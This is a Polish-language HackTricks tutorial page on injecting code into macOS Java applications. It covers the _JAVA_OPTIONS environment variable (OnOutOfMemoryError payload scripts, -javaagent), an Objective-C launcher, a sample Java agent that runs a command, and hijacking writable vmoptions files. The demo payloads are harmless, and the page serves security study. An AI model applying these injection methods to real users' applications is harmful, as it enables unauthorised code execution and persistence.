mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 05:33:33 +00:00
183 lines
8 KiB
Markdown
183 lines
8 KiB
Markdown
# Wstrzykiwanie aplikacji Java w macOS
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|
|
|
|
## Wyliczanie
|
|
|
|
Znajdź zainstalowane aplikacje Java w swoim systemie. Zauważono, że aplikacje Java w pliku **Info.plist** zawierają pewne parametry Java, które zawierają ciąg **`java.`**, więc można je wyszukać:
|
|
```bash
|
|
# Search only in /Applications folder
|
|
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
|
|
|
# Full search
|
|
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
|
```
|
|
## \_JAVA\_OPTIONS
|
|
|
|
Zmienna środowiskowa **`_JAVA_OPTIONS`** może być użyta do wstrzykiwania dowolnych parametrów java podczas wykonywania skompilowanej aplikacji java:
|
|
```bash
|
|
# Write your payload in a script called /tmp/payload.sh
|
|
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
|
```
|
|
Aby wykonać go jako nowy proces, a nie jako potomka bieżącego terminala, można użyć:
|
|
```objectivec
|
|
#import <Foundation/Foundation.h>
|
|
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
|
|
|
int main(int argc, const char * argv[]) {
|
|
@autoreleasepool {
|
|
// Specify the file path and content
|
|
NSString *filePath = @"/tmp/payload.sh";
|
|
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
|
|
|
|
NSError *error = nil;
|
|
|
|
// Write content to the file
|
|
BOOL success = [content writeToFile:filePath
|
|
atomically:YES
|
|
encoding:NSUTF8StringEncoding
|
|
error:&error];
|
|
|
|
if (!success) {
|
|
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
|
|
return 1;
|
|
}
|
|
|
|
NSLog(@"File written successfully to %@", filePath);
|
|
|
|
// Create a new task
|
|
NSTask *task = [[NSTask alloc] init];
|
|
|
|
/// Set the task's launch path to use the 'open' command
|
|
[task setLaunchPath:@"/usr/bin/open"];
|
|
|
|
// Arguments for the 'open' command, specifying the path to Android Studio
|
|
[task setArguments:@[@"/Applications/Android Studio.app"]];
|
|
|
|
// Define custom environment variables
|
|
NSDictionary *customEnvironment = @{
|
|
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
|
|
};
|
|
|
|
// Get the current environment and merge it with custom variables
|
|
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
|
|
[environment addEntriesFromDictionary:customEnvironment];
|
|
|
|
// Set the task's environment
|
|
[task setEnvironment:environment];
|
|
|
|
// Launch the task
|
|
[task launch];
|
|
}
|
|
return 0;
|
|
}
|
|
```
|
|
Jednakże, to spowoduje błąd w wykonanej aplikacji. Innym, bardziej dyskretnym sposobem jest stworzenie agenta Java i użycie:
|
|
```bash
|
|
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
|
|
|
# Or
|
|
|
|
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
|
```
|
|
{% hint style="danger" %}
|
|
Tworzenie agenta z **inną wersją Javy** niż aplikacja może spowodować awarię zarówno agenta, jak i aplikacji.
|
|
{% endhint %}
|
|
|
|
Gdzie agent może być:
|
|
|
|
{% code title="Agent.java" %}
|
|
```java
|
|
import java.io.*;
|
|
import java.lang.instrument.*;
|
|
|
|
public class Agent {
|
|
public static void premain(String args, Instrumentation inst) {
|
|
try {
|
|
String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
|
|
Runtime.getRuntime().exec(commands);
|
|
}
|
|
catch (Exception err) {
|
|
err.printStackTrace();
|
|
}
|
|
}
|
|
}
|
|
```
|
|
{% endcode %}
|
|
|
|
Aby skompilować agenta, wykonaj:
|
|
```bash
|
|
javac Agent.java # Create Agent.class
|
|
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
|
|
```
|
|
Z plikiem `manifest.txt`:
|
|
```
|
|
Premain-Class: Agent
|
|
Agent-Class: Agent
|
|
Can-Redefine-Classes: true
|
|
Can-Retransform-Classes: true
|
|
```
|
|
A następnie wyeksportuj zmienną środowiskową i uruchom aplikację Java w ten sposób:
|
|
```bash
|
|
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
|
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
|
|
|
# Or
|
|
|
|
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
|
```
|
|
## Plik vmoptions
|
|
|
|
Ten plik obsługuje specyfikację **parametrów Java** podczas uruchamiania Javy. Możesz użyć niektórych wcześniejszych sztuczek, aby zmienić parametry Javy i **wykonać dowolne polecenia** w procesie.\
|
|
Ponadto, ten plik może również **załączać inne pliki** za pomocą katalogu `include`, więc możesz również zmienić załączony plik.
|
|
|
|
Co więcej, niektóre aplikacje Java będą **ładować więcej niż jeden plik `vmoptions`**.
|
|
|
|
Niektóre aplikacje, takie jak Android Studio, w swoim **wyjściu wskazują, gdzie szukają** tych plików, na przykład:
|
|
```bash
|
|
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions
|
|
|
|
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
|
|
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
|
|
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
|
|
2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
|
|
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
|
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
|
```
|
|
Jeśli tego nie zrobią, możesz łatwo to sprawdzić za pomocą:
|
|
```bash
|
|
# Monitor
|
|
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
|
|
|
# Launch the Java app
|
|
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
|
```
|
|
Zauważ, że w tym przykładzie Android Studio próbuje załadować plik **`/Applications/Android Studio.app.vmoptions`**, miejsce, w którym każdy użytkownik z grupy **`admin` ma dostęp do zapisu**.
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|